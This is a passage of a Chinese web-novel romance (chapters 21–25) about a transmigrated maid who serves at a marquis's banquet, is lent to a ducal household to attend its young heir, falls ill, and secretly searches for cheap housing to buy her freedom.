“我又不是侯爷身边的红人,不过是个扫地的,只要肯用心,谁都能顶我的位子,况且,我也不是去而不返了。”祝谣老实道,“想来是郎二公子在侯爷面前说了什么,这才让我上席面。”
“蝉儿,你和我说真话,你……你是不是想出府去?”连翘眼神复杂道。
她原以为祝谣这个万事不急的性子,所求不过是在侯府一个位子上做到老,不想只是心不在侯府,故而无所谓是否得侯爷青眼。
只是这样的话,她就不能像以前那般待蝉儿了。
“嗯。”祝谣未透露太多,“但是我还拿你当姐姐,若是你有需要我的地方,我还是会毫不犹豫地帮你。”
“好了,不说那么多了,先回去准备,待会侯爷怕是要考察你的规矩,千万别给侯府丢脸。”
连翘避开祝谣的眼眸,其实她还挺喜欢蝉儿的,但人各有志,不可强求。
回到厅堂,祝谣始终找不到机会进去隔间,还差点被管事逮住给上报,加之裴执鹤竟早早来了,她只好站到自己的位子上。
难道她今日要失手了?
依她的身份,即使有特意嘱咐,也不可能真的全程负责三位公子的席座,当然,作为随时等候着裴执鹤考察的丫鬟来说,她的站位是离他更近的。
除了玲珑,祝谣还见到了珍珠。只见她着一袭藕荷色抹胸,外罩牙白色素绢褙子,下系石榴红百褶裙,因着年轻,八分的颜色,如今也有了十分,想来境遇好上不少。
珍珠瞧见了祝谣,既欣喜,又想与其亲近。
她已经从昌安那儿知晓,蝉儿同她是一条船上的,或许是做侯府的底层丫鬟久了,想押宝在她身上,但她不在乎。
只要她肯为自己花心思、关心她,她就满足了。
珍珠方踏出一步,玲珑恰好上前,挡住了她的去路,托起莲花执壶:“听王婆子说,今日的酒,来自侯爷出生那年、由驸马亲手埋入树底的柏叶酒,至今整二十年。王婆子滤去渣滓,筛了三道,蒸煮一个半时辰,才取出执壶里的这些。
这第一口,自当侯爷来喝。”
晓之以情,动之以理,玲珑的口才不愧于宫中的出身。
祝谣的尾指搓了搓藏在袖管中的药包,盯着那樽执壶,心想:要是此刻的她,就是玲珑,那该有多好!
裴执鹤挡住玲珑倾斜的酒壶,只看她一眼,便收回眸光:“二位郎君还未至,我怎好独自赏酒?”
闻言,玲珑咬住下唇,神色受伤地放下酒壶:“……是,是奴婢考虑不周。”
珍珠默默收回脚步,脸上流露出物伤其类的神情。
孟辰良准点到座,而郎钰则迟了半刻钟,到席时,还不慌不忙的。
三人闲话几句,郎钰便提议,要裴执鹤和孟辰良各自敬他一杯,祝他明日家去,风平浪静,顺顺利利。
孟辰良四平八稳道:“家是母亲第一次带你来到世上的地方,为你遮风避雨,平安长大。如今我们都在洛都,总有见面的机会,我还是敬你、侯爷和我,我们三人的友谊长存。”
“也好。”郎钰饮下一杯,杯中酒被斟满,又向裴执鹤道,“该你了,千千万万,该说些好听的话来!”
“莫非我不会说话了吗?”裴执鹤微仰下颌。
玲珑再次上前,却仍旧被裴执鹤拒绝,他的视线掠到旁侧,指着祝谣道:“你来。”
真的吗?我来?
祝谣觉得,这仿佛是天籁之音!
她抖了一下袖角,垂首学着玲珑的礼仪,托起执壶,但估计是太过紧张,在众目睽睽之下,“呲”地碰倒了杯盏。
“是谁教你规矩的?”裴执鹤立马沉脸。
祝谣惊慌跪下,好在膝盖绑了自己缝制的棉包,缓解了疼痛,求饶道:“奴婢有错,请侯爷原谅!”
裴执鹤不管她的恳求,径自向郎钰道:“如此丫鬟,如是随你到瑞国公府上去,怕是会累得苏夫人对我不满了。”
郎钰看到祝谣似乎朝他看了过来,食指莫名挠了两下几桌,他笑道:“人的悲欢真是不尽相同,母亲每次唠叨我时,最常挂在嘴边的人,就是你了。我看啊,她非但不会不满,还会想,你将这丫鬟送来,是否有什么深意!
这样倒很好,暂时混淆母亲的视听,她就能少来烦我。”
孟辰良则是见她身形单薄,似乎在发抖,也认出了祝谣是那个董叔口中的可怜丫头——否则怎么会冒险在侯府私自买卖未经查明的府外之物——和他想到一齐去了。
于是他不忍道:“侯爷,你平日便不怒自威,小丫鬟见的世面又少,虽然知道要对你尊敬,但真正在只隔一桌距离的情形下,克服紧张,端的不是件易事。”
裴执鹤的双眉微皱,很快松开:“延儒说得有理。”
他看着祝谣的后脑勺,发髻编得有些糟糕,碎发一堆,毛茸茸的,头型却是饱满如圆月。
裴执鹤不由缓声道:“起来再倒一杯,这次要是还出错,孟公子和郎公子可保不了你了。”
郎钰挑眉睄他,随即移动美目,看向你。
祝谣心态极稳,
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将犹存后怕之心的小丫鬟表现得简直完美,那微颤的双手、微红的眼眶、微张的嘴唇,都令她顺利地撒了药粉到杯底,而后与无色、清香无比的酒水彻底融为一体。
她亲眼见到裴执鹤说完祝词,一饮而尽,这才露出劫后余生的神情,双眸亮汪汪的。
大功告成!
宴席最后,敲定了你暂且随郎钰回瑞国公府,但裴执鹤还点了茯苓同去。
最重要的是,两人的月钱,瑞国公府会出一份,大概是一两,宁远侯府也出一份,同是一两,回府可取!
祝谣算了算,以一个月为底,她起码能拿二两,至于郎钰口头给出每月三两的承诺,她得再私下问清楚,这三两是另外单给,还是要将原有一两的月钱算进去,只再多给二两?
她心口火热,顿时觉得可以为了这些主子上刀山,下火海!
不过迅速给自己浇了盆凉水:这辈子做牛马,世世代代做牛马!
*
五月十八,晴。
虽不想听友人那□□下惹出的风流事,但侯府今个早上那是闹得人仰马翻,郎钰拍了拍孟辰良的肩,果断死道友不死不贫道,上马车先走了。
祝谣和茯苓各背了个小包袱,缀在马车后边。
“这瑞国公府的排场真大,一下来了十几个仆从,都把我们挤到最后边了。”茯苓擦了把汗,小声道。
祝谣抽出蒲扇,给两人扇风:“这样也好,让我们跟在后边,先看看国公府的规矩是怎么样的,我们也能少走些弯路。”
“你倒是聪明。”茯苓弯起眉眼道,“这回我们俩可要互帮互助,绝不能搞内讧,你能做到吗?”
“自然。”祝谣爽快地与她碰了拳。
……
瑞国公府内。
苏氏立在穿衣镜前,左看右看,仍是不太满意:“常妈妈,要不然,还是换回之前那套罢?这件似乎太柔和了。”
常妈妈摁住苏氏,劝道:“夫人是后入府的,总担心姿色过盛,冲淡了威势,故嫁到国公府不过三月,便决心严苛待己,处处要符合高门主母的风范,这无可厚非。
然而郎君是夫人的亲骨肉,天生亲近夫人,只是夫人将那份严苛也施加到他身上,结果就是郎君愈加叛逆和疏远夫人。
这回都闹到宁远侯府了,好不容易郎君肯回来,夫人可别再绷着脸,一见到郎君就要教训他。
老奴觉得这一套,已是挑不出错来的。”
苏氏欲言又止,最后还是听进去奶娘的话,转而去梳个搭配衣裳的髻发。
“夫人!”婵娟急急踏过门槛,喘了口气道,“郎君到了!”
“真的?快,常妈妈,梳好了我们便走!”苏夫人喜出望外道。
毕竟是自己的孩子,离家这几日,她倒真是思念。
“夫人,郎君回来,却还带了两个面生的丫鬟。奴婢问清楚了,她们还是宁远侯府上拨来的!”婵娟急切道。
苏氏闻言,扬起眉尾,立即拍下钗子:“什么?!”
22. 第二十二章
“常妈妈,你看看你从小看着长大的孩子,出去一趟,总得让我头疼得要命!”苏氏冷声道。
“夫人别急。”常妈妈抚着她的胸口,“宁远侯最是端重知礼,送两个丫鬟不过是他们小辈之间的交际,夫人先别乱了阵脚。”
常妈妈边继续给苏氏梳头:“一切等见到郎君再说。”边使着眼色,让婵娟回去侯着郎钰。
苏氏勉为其难道:“既是常妈妈说的,那就我给钰儿一个解释的机会。”
*
瑞国公府祖上是随大康太祖建下功业的,虽然一代不如一代,但底蕴深厚,府中风景和布置讲究大气稳重,非一朝外戚之家可比拟。
祝谣跟在队伍最后,趁着无人注意,看得目不转睛,园中亭台层叠,山石矗立,池水萦绕,好不别致。
转过几处亭榭,皓月堂便到了。
所有人都忙碌起来,扶轿的扶轿,端水的端水,祝谣和茯苓根本无人在意,她们也挤不进郎钰的身边。
“怎么办?难道我们就在这儿傻站着不成?”茯苓同祝谣商量道,“你等着,我抓个丫鬟来问问,我们该住哪,待会我们就先去收拾好东西。”
还未等祝谣说话,茯苓便风风火火地行动起来,走了两步,随手拦着个小丫鬟,却是差点把她给吓着。
婵娟本来要随郎钰进里屋伺候的,只是回头扫了眼,就瞧到了祝谣和茯苓,围着院里的小丫鬟,也不知要做什么。
她嘱咐了其他丫鬟几句,快步来到三人面前。
“这是怎么了?我看你们俩面生,不是我们府上的罢?”婵娟护着小丫鬟道,“只是不管从何处来,进了国公府,就得守国公府的规矩。”
茯苓观其衣裳面料皆很考究,有了判断,单刀直入道:“我们是宁远侯府的丫鬟,奉命随郎二公子回国公府伺候一段时日。你是郎二公子身边的大丫鬟罢?我们各为其主,便各司其职,井水不犯河水。
眼下想来也轮不到我和蝉儿伺候,我们打算先放下行李,收拾好住处,再等候端国公夫人的传唤。”
祝谣赶紧跟了句:“我和茯苓想得一样。”
婵娟定定地站了片刻,眼眸从茯苓身上又移到祝谣身上,神色松动了些,拍了拍小丫鬟:“我让她带你们去。”
于是在接连走过好几个月洞门之后,祝谣和茯苓才来到一间似乎空置了许久的厢房前。
“还行,虽然脏是脏了些,但是宽敞,住四个人都行。”茯苓用手背捂着口鼻,推门看了看。
要说穿越来祝谣学会了什么技能,那打扫和整理绝对能排第一第二。
方才茯苓主动站出来表态,祝谣也得回报一二。
担心灰尘满天,她让茯苓站得离门远点,将窗户打开,从包袱里掏出旧衣,开始简单地清扫。
不过一刻钟左右,祝谣浑身是汗地出来:“好了,可以先将东西放下,待会再打水来擦擦柜子、床炕和桌椅就差不多了。”
茯苓用帕子擦掉她脸颊的灰,笑道:“你还挺能干的,等我一下。”
两人将包袱系紧塞进柜子里,锁好,钥匙交由茯苓保管,便原路返回,顺道看看打水的地方在哪儿。
只是人生地不熟的,总也寻不到水井,又碰巧撞上那个小丫鬟,茯苓眼睛一亮,逮住她,立即询问:“院里哪里有水井?我们想取些水来擦窗子。”
那小丫鬟怯生生的,踌躇着摇了头。
“哎呀!你怕什么?我长得不凶罢?”
祝谣想了想,摸出饴糖,是她适才鬼使神差地从包袱里抓的。她半蹲膝盖,视线与小丫鬟齐平,掌心向上,将糖递出去:“这是饴糖,送你。”
小丫鬟抿了抿唇,飞速地抓走饴糖,拆开油纸闻了闻,才指着另一条岔路道:“院里用的是山泉水,那边能接,旁边置放着不少空桶,你们随便挑一个来盛水都行。”
“好,谢谢!”
茯苓拉着祝谣就要跑,山泉水是好东西,能喝来解渴,也能接来洗手,她现在快热死了,眼巴巴得很。
“姐姐……”小丫鬟叫住了她们,揪着衣角道,“院里有口缸,里边养着好些鱼,时常得换水,和我一块儿干活的金儿病了,我一个人抬不动桶子,能、能不能……”
“可以可以,和我们一起走!”
茯苓快手拉上她,三人麻利地接了水,便忙活了起来。
苏氏来到皓月堂时,便见到这一幕,心气平和了些,对常妈妈道:“那两个丫鬟我不曾见过,想来就是宁远侯府上来的,瞧着倒是老实本分。”
常妈妈宽慰道:“夫人也能少操些心了。”
……
母子见面,自是另一番鸡飞狗跳,但骨肉至亲,再是吵吵闹闹,坐到一张桌上,闻着带有家的味道、暖烘烘的饭菜时,心就柔软了下来。
加之苏氏当面叫来祝谣和茯苓问话,仔细观察了她们的仪态和相貌,不愧是受过良好风气熏陶出来的婢子,心平气和了许多。
“好了,说了那么多,我也是又累又饿的,你爹又出去,那就我们母子自己用膳。”
苏氏叨叨絮絮,一会儿给郎钰挟块片肘子,一会儿给他盛碗鱼汤。
郎钰见才吃完一块肉,又来一块,嘴巴根本停不下来,赶紧止住她,道:“够了够了,你也多吃点,平日总多思多虑,得吃些好的安抚五脏六腑。”
苏氏稍诧道:“你出去一趟,倒比以前会心疼我了。近朱者赤近墨者黑,鹤儿那孩子,果真是个好的。”
郎钰眼眸一转,心下想的是:蝉儿可真给他争气,
母子难得心平气和地用完了膳,苏氏留郎钰坐下,好好聊聊。
“同在一个屋檐下,抬头不见低头见的,母亲,有什么好聊的?”郎钰玩着扇坠子,不大乐意道。
苏氏轻笑道:“前阵子你不是去了福安长公主开的赏花宴了吗?如何?可有看上的千金?”
郎钰脸色不大好:“你要是想娶个媳妇回来,你就该自己去物色,问我做什么?”
苏氏蹙起眉头道:“你这说
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的什么话?到时候我要是挑了个你不喜欢的,你又得闹得天翻地覆了!”
“那你就别惦记着我的婚事!”郎钰即刻将扇子拍在桌上,直起身,“瑞国公府现在就是空有架子,哪个好人家肯把女儿往火坑里推?”
苏氏指着他道:“胡说什么!瑞国公府的爵位可是世袭,还有高祖赐下的丹书铁券,嫁过来便是保得一世荣华富贵!”
常妈妈见郎钰还想反驳,急忙上前阻拦,好说歹说,才让母子俩都暂且停了口角。
苏氏眼尾睄到婵娟,朝她招了招手,握到跟前,对郎钰道:“我虽然急于你的婚姻大事,但毕竟是要与你共度一生的人,我还得慢慢相看。只是婵娟也不小了,又从小伺候你,你可以先收进房中——”
郎钰皱着眉,沉脸道:“我只拿婵娟当姐姐,绝无他心,母亲若真为她好,便还她原籍,自行决定婚嫁罢。”
婵娟眼中闪过一丝难受,头愈发低了下去。
也不等苏氏开腔,郎钰紧接着告退,离了是非之地。
苏氏没了心情,婵娟见状,随意找了个借口退下了。
“婚事、承爵,他就没一样让我省心的!”苏氏气得直摇头。
常妈妈摁着苏氏的太阳穴,细语道:“郎君如今大了,心中有主意,夫人万事耐心点,总能让他听进去的。”
*
“郎君,时辰不早了,该歇息了。”
婵娟做足了睡前准备——点燃安神香,置放冰盆,铺好床铺,这才向郎钰开口。
郎钰翻着话本,头也未抬:“好,你先下去休息,今夜让茯苓和蝉儿过来守夜。”
婵娟迟疑了下,脚未动:“她们才刚来国公府一日,规矩还未学好,奴婢不累,今日便先让奴婢带着她们一齐守夜罢。”
郎钰闻言,从话本中抬起眼眸,烛火融进他的眼底,显得明灿灿的,只是嘴巴一碰,说的话令婵娟心神不宁:“我今日跟母亲说的话,你再回去好好想想,现在你该退下了。”
婵娟几次想脱口说些什么,最后看着郎君的脸色,终是咽了回去,谨遵吩咐,叫了祝谣和茯苓过来。
茯苓瞧着婵娟失魂落魄的背影,同祝谣咬耳朵道:“你可得小心点,我们来这儿,可是挤了原先丫鬟的位子。”
有人的地方就有江湖,祝谣不置可否。
既是两人都要守夜,祝谣还要讲睡前故事,茯苓便和祝谣商量好,她在门外守夜。
祝谣推门而入,一股清香蹿入鼻中,不同于明鉴院里的月下松香味,是花果淡淡的甜香。
“我头发还湿着,快来给我擦擦。”郎钰清了清嗓子,扬声道。
“是。”
祝谣暗自打量了下四周,穿过绿植和博古架,便看到郎钰正正经经地坐着。
只见他墨发千丝披散在身后,露出精致的眉眼,被热气熏蒸的脸蛋像夏日最水润的蜜桃,白里透红,红中透粉,自有秀色可餐的意味在其中。
祝谣心跳快了一瞬,当真被惊艳了。
23. 第二十三章
祝谣从未伺候过这些高高在上的天龙人们,也深谙低调的原则。
美色看看就好了,可千万不能沾,她垂下眼睑:“婵娟姑娘还未走远,郎君若是需要她,奴婢这就叫她回来。”
“不用了。”郎钰歘地沉了脸,走到床榻边坐下,“继续说你的故事罢。”
果然喜怒无常才是本色,祝谣内心嘀咕着,面上却是老实地立在一旁,开口便扯出一出天马行空的故事。
郎钰见她当真都不问问自己头发还湿不湿、一副公事公办的样子,内心更是憋闷。
宁远侯府离瑞国公府并不算远,但是在日头底下跟着马车跑、来到府上又马不停蹄打水擦洗……忙来忙去的,祝谣早觉肌肉酸痛,此时闻着熏香,昏昏沉沉,不自觉打了好几声哈欠。
“你困了?”郎钰半边肩膀歪斜,倚着枕头,眯着桃花眼看过来。
祝谣甩了甩头,晕乎乎的,只好上手揪着自己的头发,强行恢复了精神:“奴婢不困,奴婢还能说。”
见着她难得露出平日里少见的神态,郎钰不禁勾唇轻笑:“你去倒杯茶喝,醒醒神,今晚省点嘴上功夫,正好陪我说说话。”
似乎有些暖味了。
如今内室只有他们两人,孤男寡女的,郎钰还对自己笑得这般明媚,祝谣站着没动,朝郎钰问道:“郎君,奴婢有句话,不知当讲不当讲。”
郎钰上下看了她两眼,轻咳了声:“直说罢,这里没别的人。”
“郎君之前承诺,会每月给奴婢三两,如今奴婢依言来了国公府,这三两……还算数吗?”祝谣一本正经道。
“就这?”郎钰抬高声音,尔后觉得不妥,瞪了瞪祝谣,压低声道,“蝉儿,你还真是掉进钱袋子里了!”
他踩着脚踏起身,单衣略显凌乱地覆在青涩的躯体上,祝谣不小心顺着缝隙瞧到了他里衣下的些许肌肤,瓷白得像是精雕细琢的美玉。
她默默移开视线,暗念非礼勿视。
郎钰径自走向衣架子,从旧衣里翻出几块碎银,单手放在手心,对着祝谣呵道:“伸出手来。”
祝谣乖乖听话,便见银灿灿的银块宛如雪花般纷纷落到掌心,她掂量了下,估摸有三两!
“奴婢谢过郎君。”祝谣诚恳道,“郎君对奴婢的大恩大德,奴婢没齿难忘。”
郎钰拽了下衣领,扑通坐在床上,压抑着笑意道:“我之前只知道见钱眼开,今个还知道了见钱口开。再取些冰来,这天热得很。”
“是。”祝谣体贴道,“奴婢将房中的冰盆摆近些,就在郎君床边,等郎君睡着了再端远点,免得寒气入体,您看成吗?”
“成,去罢。”郎钰睄了她一眼,看着祝谣献殷勤,啧啧两声。
祝谣厚着脸皮出了门,带上茯苓,打算去冰库搬点冰过来。
路上,她们碰见了婵娟。
祝谣和茯苓行了礼,婵娟见她们俩,一人捧着盆,一人还拿着铲子,诧道:“这是怎么了?”
“郎君觉得热,我们便去冰库取些冰来。”茯苓回道。
“每个院子的用量都是有份例的,未免下人打着主子的名号偷领,只许主子身边的亲信去冰库,还得留档。”婵娟徐徐道,“还好你们遇上了我,不然白跑一趟,待会我直接让小厮给你们送来,你们先回去伺候郎君。”
“既是如此,那便劳烦婵娟姑娘了。”茯苓想了想,应道。
祝谣随后道:“我和茯苓谢过婵娟姑娘。”
“嗯。”
婵娟立在假山旁,看着两个丫鬟并排相伴着的影子,越拉越长,最后溶入森森的树影当中去。
半晌,她才转身往冰库去。
*
郎钰是苏氏的心头肉,小厮们很快送来满满一盆冰,丝丝缕缕冒着凉气,祝谣在旁也蹭了不少,舒服得更加想睡下了。
她又打了个哈欠。
都说呵欠是会传染的,郎钰被传染了困意,说道:“哈——不早了,今天就到这,被褥在小间,你搬过来睡罢,记得吹灯。”
说着,自己像条泥鳅似的钻入蚕丝被中,阖上眼睛睡了起来。
祝谣下意识地点了点头,然后扶着家具和墙体,慢慢挪到小间,只是刚抱起被褥,她忽地反应过来——丫鬟们守夜都得将地铺铺在床榻边,可是睡地上多不舒服啊,干嘛要守在这儿。
于是她端过起初摆进主卧的冰盆,来了小间,接着扑到榻上,想着赶在郎钰醒来前再候到床前,须臾陷入梦乡。
梦中祝谣化身为赶路的学子,盘缠紧张,不得不夜宿一间废弃的佛庙。
夜半三更,她略无睡意,遂点燃油灯,就着发出淡淡黄光、如豆粒打小的烛光,温习起了书籍。
正值寒冬,北风萧萧,撞在破窗上,激起一阵尘灰,在出了桌案便伸手不见五指的黢黑之中,隐约浮现了一道人影,哀怨的呜咽声飘到了祝谣的耳边。
然而她无心分辨这声音从何而来,满脑满眼皆是学,学,学!
只是好冷啊。
初时祝谣还能忍受,故而沉浸在知识的海洋中并不在意,但这股寒意从她的脊梁骨一直窜到天灵盖,浑身的鸡皮疙瘩都起来了。
她拼命搓着手,方想低头哈口热气,耳垂边似乎碰到了什么东西。
祝谣立马握住烛台,借着微弱的火源,缓缓转过头去,只见万千青丝垂下,乌密如瀑,她咽了咽口水——
“啊!”
祝谣睁开眼,正对上一张惊愕的面容。愣了几息,她当机立断地阖眼。
*
天蒙蒙亮,婵娟穿过小巷,买了几张油饼和油条,提着回了家中。
牛母正在院里洗衣裳,便见女儿拎着吃食走了进来,她满面笑容地将手上的水往围裙一抹,将小吃接过:“今个怎么这么早回来了?”
婵娟浅笑道:“哥哥在吗?”
“昨日才走,还没那么快回来。”牛母叹气道。
婵娟上头还有个亲哥哥牛成,跛了足,只领着喂马的活计混日子。他这脚也不是天生的,而是此前瑞国公府与旁边肃国公府的下人们奉主子命,持刀打架,才被误伤了。
不
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提肃国公府站错了队,早下狱赐死,如今瑞国公府也渐渐失了圣心,牛成是替主家落下残疾的,虽然当不上能够捞油水的管事,但四时八节的衣料、蔬果等等,府中从未短缺。
只是活计太闲,牛成染上了赌,时常十天半个月不回家,全靠婵娟时不时帮衬。
婵娟握住牛母的手腕,神色认真道:“娘,我有话跟你说。”
“什么话啊?”牛母见她面色不像是来报喜的,不由担忧道,“是不是你——”
“咱们进屋说。”婵娟拉着牛母进房,将门关严实了。
牛母焦急道:“这是怎么了?”
“也不是什么大事,只是日后娘要多劝着哥哥,别镇日出去赌钱,到时候雪球越滚越大,我不一定兜得住。”婵娟镇定道,“二爷心里没我。”
“什么?!那你做不成姨娘了?”牛母一把攥着她的手,又惊又忧道。
家中就牛成一个男丁,当初女儿被送到皓月堂伺候,为的就是之后当上姨娘,能保家里富贵。
“要不,我再让你哥哥去求求夫人,让她做主替二爷收你?”
婵娟摇头:“娘,你不要自作主张,二爷瞧着好说话,但是极有主见的,我们要是算计到他头上……”
牛成将耳朵贴到窗上,企图听得再明白些。
适才他摇摇晃晃地归家来,昨个手气好,他难得清醒一次,见好就收,找了家旅店睡上一宿,趁着手还没犯痒,打算送点钱回来,不承想就听到妹妹做不成姨娘了!
这怎么可以?他还指望做二爷的大舅子,在国公府横着走呢!
“可是、可是好端端的,怎么就不行了呢?”牛母不解,倏地想到什么,“你告诉娘,是不是二爷瞧上了别的姑娘?”
“倒也不算,只奇怪的是,二爷今回还从宁远侯府还借了两个丫鬟回来,若是喜欢,大可直接要了身契。”婵娟揪着帕子,“主子们的事,我是真弄不清楚,左不过现在我也是大丫鬟,日后找个管事嫁了,依旧得二爷看重,总不会让娘和哥哥的日子过差的。”
“做姨娘便是半个主子,哪里一样了?”
牛成悄悄离了院,越是琢磨,越觉得宁远侯府来的丫鬟不是个简单的人物。
都说男儿膝下有黄金,当初他可是结结实实在夫人跟前磕了好几个头,现在可不能纵着妹妹放弃。
*
祝谣感冒了,换句话说,风寒了。
她一闭上眼,愈发头昏脑涨的,咽喉疼痛,还有痰,估摸是昨夜出了汗,却贪图凉快,待在冰盆旁不肯动,吸了寒气。
祝谣也顾不上为什么醒来时,郎钰的脸离自己那么近了,总不能是想非礼她罢?那他真是饥不择食。
郎钰见祝谣半天不说话,刚想发作,发现她皱着眉头,似有不适,还想叫府医过来,被祝谣赶紧制止。
她可不想被苏氏盯上,废了好一番口舌,才像撸猫一样安抚好他。
祝谣被茯苓搀扶着回厢房,打算盖实被子睡一觉,出身汗便好了,却在半道撞上了个人,一屁股坐到地上去了。
24. 第二十四章
“你长不长眼睛啊?”茯苓蹲身扶起祝谣,秀眉一竖,“这是皓月堂,你是哪个院的?郎君传你过来的吗?”
牛成常年混迹在下九流中,眼力还是有的,这俩丫鬟一看就不像是瑞国公府的家奴——倒不是说她们穿着打扮格外别致,而是身上那股精气神,朝气蓬勃的,十分亮眼。
他入府前特意捯饬了下,此刻自认潇洒地捋了把头发:“我亲妹是婵娟,我进来给她送点隆香斋的糍糕,你唤我牛大哥就行。”
茯苓自知这是在人家的地盘上,见他背后有来头,便稍微收敛了脾气,搂紧祝谣,嘴上却也不让他占半分便宜,道:“原来是您啊,郎君还在屋里头,您要请安还来得及,我们就先走了。”
说着,也不等他再油腔滑调,稳当地搀着祝谣回房。
走了一段路,还摔了一跤,祝谣气喘吁吁的,见到炕,立即扑了上去。
“哎呀!别睡别睡,我给你擦擦身子。”茯苓扭好布巾,坐在炕边,伸手给她解衣裳。
祝谣迷迷糊糊的,任由她动作,不忘叮嘱道:“要和我分开碗筷,对了,麻烦你帮我熬碗药,我醒来喝,只是我没钱,我给你磕头了。”
茯苓便见她下一刻跪坐起来,尔后咚地一声磕在被褥上,昏睡过去,惊道:“这礼行得也太大了!”
继而将她身子摆正,轻拍腮颊道:“没想到你还是个铁公鸡——一毛不拔。”
她探了探祝谣的额头,还好没发热,仔细给她擦拭掉身上闷出来的汗,又换了件干爽的衣裳后,便去给她寻药了。
……
祝谣醒来时,日头兀自亮的,被褥全被掖到身下,将她裹成圆滚滚的粽子。
她好不容易蛄蛹出来,浑身又出了汗,虽然四肢还有些虚软,但精神大好。
祝谣给自己倒了杯水,接连喝了三杯才停下,咽下最后一口时,却猛地打了个喷嚏。
这一打,倒让她想起要紧事。
“系统,男女主进展如何?需要我杀回去助兴吗?”
约莫几息,系统冷冰冰回道:“暂不需要。”
祝谣听得一个激灵,瞬间凉了下来。
她给自己擦了身,再换了身衣裳,见盆里堆着好些脏衣,叹了口气:事已至此,先吃饭罢。
茯苓给她捎带回一汤一荤一素,同宁远侯府偏甜的口味不同,瑞国公府主张咸口,且不额外加醋加辣椒,分量也要多几口。
虽然味道不算丰富,但起码能让祝谣吃饱,碗底的米粒被她一颗颗扒拉干净,她才满足地打了个饱嗝。
桌角放了碗黑乎乎的中药,祝谣摸上去是温热的,她仰头一饮而尽,在露出痛苦面具前,往嘴里扔了块饴糖。
给钱是不会给的,祝谣打算接下来的日子,这房中的清扫她全包了。
回归正题。
这次出差到瑞国公府,对于祝谣说,相当于半休假——因是外人,背后又是当朝风头最盛的外戚,粗活轮不到她,细活别人也不信她,故而有了自由时间。
趁着这个机会,祝谣向守门的小厮糊弄说是得回去同主家述职,飞快晃过一块牌子,被比她还要糊弄的小厮立即放行。
她既是打算赎回良籍,必得给自己找个住宅——大康允许女子成为户主,且无需服劳役,不拘风水、采光、通风——那都得等她有多余的银子之后再考虑,甚至死过人的更好——因为价钱绝对低廉。
祝谣碰了几头灰,终于找到洛都城中的一处房牙。
此间小房坐南朝北,光线明亮,侧边开着的窗台上,摆了瓶插着紫薇花的釉白瓷器,微风徐过,瓣片轻颤,美得像幅画似的。
祝
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谣掀帘的力气不自觉放轻,帘边挂着个铜铃,她见房中并无人,试探着摇响。
片刻后,从里间出来个青年。
只见他书生之态,布衣平履,眉如远山,整个人生得极为秀气,与孟辰良那般清隽如松竹的君子不同,他的气质更为亲和。
祝谣忽然觉得,自己曾在哪里见过他。
“小人名叫顾茂生,不知客人所需为何?”他打开一本名册,执笔蘸墨,半点市侩气都无,倒像是来做学问的。
咦。
祝谣想起来了,顾茂生不就是那天她去领猪胰皂时,负责登记的青年吗?
既是在府中做事,还能在外头有个铺面?……不简单,侯府个个藏龙卧虎。
只是她还未脱籍,不宜暴露身份,对方没察觉正好,祝谣便依照重视程度高低,提出自己想找的房屋要求。
顾茂生在听到女子不在乎是否为凶宅后,略显诧异地看向她,好心提醒道:“宁可信其有,不可信其无。”
“比起被鬼神吓死,我更怕穷死。”祝谣坚定道。
“是,姑娘言之有理。”顾茂生笑得腼腆,“这种房子应该不难找,多半在城郊,姑娘可过个三五天后再来。”
祝谣忍痛割出赏钱,头也不回地出了门,路上再是飘香的小吃,她一眼未看。
回到皓月堂,没人发现她出去了一趟,茯苓也不在厢房。
祝谣将她的脏衣一同端走,来到水池边,弯腰搓洗,直至腰酸背痛,清水漂过再无脏污,才通通晾晒起来。
只是如此一来,口干舌燥,喉咙有些泛疼了。
刚走到厢房附近,祝谣便瞧见郎钰没精打采地穿过月洞门,倏地有感应似的,抬头往她的方向望来,眼含星辰般一亮。
——像极她原来家中养的一条中华田园犬。
25. 第二十五章
郎钰没想到自己在家的好日子这么快就到头了。
清晨,他还想着给母亲请完安,便速速回来,蝉儿似乎着了凉,也不知好点了没?
“回来了就把心定下,徐夫子明日回来,你好生读书,别镇日游手好闲的,听到了吗?”苏氏语重心长道。
郎钰以木箸推开她挟菜的动作,不喜道:“母亲,我十六了,十四还能说是豆蔻年华,我现在是二八迟暮,如何学的进脑?”
“什么二八迟暮?书都读到哪里去了?”苏氏的眉心夹出细纹,“你看看鹤儿,如今入朝为官,再看看那个孟翰林,还是探花,就你肚子里只装了几滴墨水,我出去替你相看千金小姐都嫌丢人!”
郎钰面不改色道:“昨日您还说,入了瑞国公府的门就能保一世荣华富贵,既是如此,哪管我是不是文曲星下凡?反正我是中不了举,您还是留着钱多购置些田地铺子收收租回回血。”
“我不管你是怎么想的,过几日,旭日东升便开始讲学,你要是敢逃学,我就扣你的月钱!”
没关系,反正有蝉儿陪他,读书便读书,换个地方睡觉罢了。
奇怪,奇怪,怎么一想到她,他就禁不住扬起唇角呢?
想看她那张年纪轻轻就绷得十分老成的脸上露出灵动的神色,他是不是也病了?
可是摸摸额头,他觉得自己清醒得很。
*
当鸡鸣三声后,祝谣认命地从炕上做了个仰卧起坐,一旁的茯苓正睡得香甜。
本来轻轻松松就能领到四两工钱,郎钰不知哪根筋搭错了,读书还要拉上她去做书童,平白让她遭受一听课就犯困、却又不能真睡过去的酷刑。
祝谣小心翼翼地挪出被褥,单脚立在炕底,继而抽出另一只脚,却不小心蹭到了什么,连带着一齐掉到了地上。
她赶忙站稳脚,捡起物件,发现是个扳指,做工精细,分量也不轻,瞧着成色倒有些旧。
祝谣未多想,见它完好无缺,没有摔出裂纹,吹气又拍掉上面的灰,悄悄塞回到茯苓的枕底。
她穿戴好衣服,小声打着呵欠,出门接山泉水洗漱。
池边栽种着紫藤萝,虽说过了花期,但绿叶犹在,繁密茂盛,投下一片阴影,祝谣用手作碗,捧了把山泉往脸上扑,凉气透骨,浑身舒爽,精神了许多。
牙刷子和牙粉是在瑞国公府上心领的,同宁远侯府的相比,牙粉有些涩口,牙刷子也有些刺扎,不过不要钱的,也就不挑那么多了。
蹲着刷了会儿,旁边也来了人,祝谣用余光一瞟,发现是婵娟。
她加快了动作,咕噜漱了口:“婵娟姑娘,早上好。”
婵娟拿帕子擦了擦手,浅笑道:“早。今日郎君要上学,笔墨纸砚我都备好了,有两份,一份是郎君的,一份是你的。”
“我?我大字都不认识,婵娟姑娘,你还是收回去罢。”祝谣客气地推脱道。
“你陪郎君读书,算是分内之事,月钱涨不了,但多少也能领到些好东西,不然学堂枯燥乏味,也不容易坚持下来。”婵娟姑娘拍了拍祝谣的手,“好了,就这么说定了,跟我来罢。”
“谢过婵娟姑娘!”
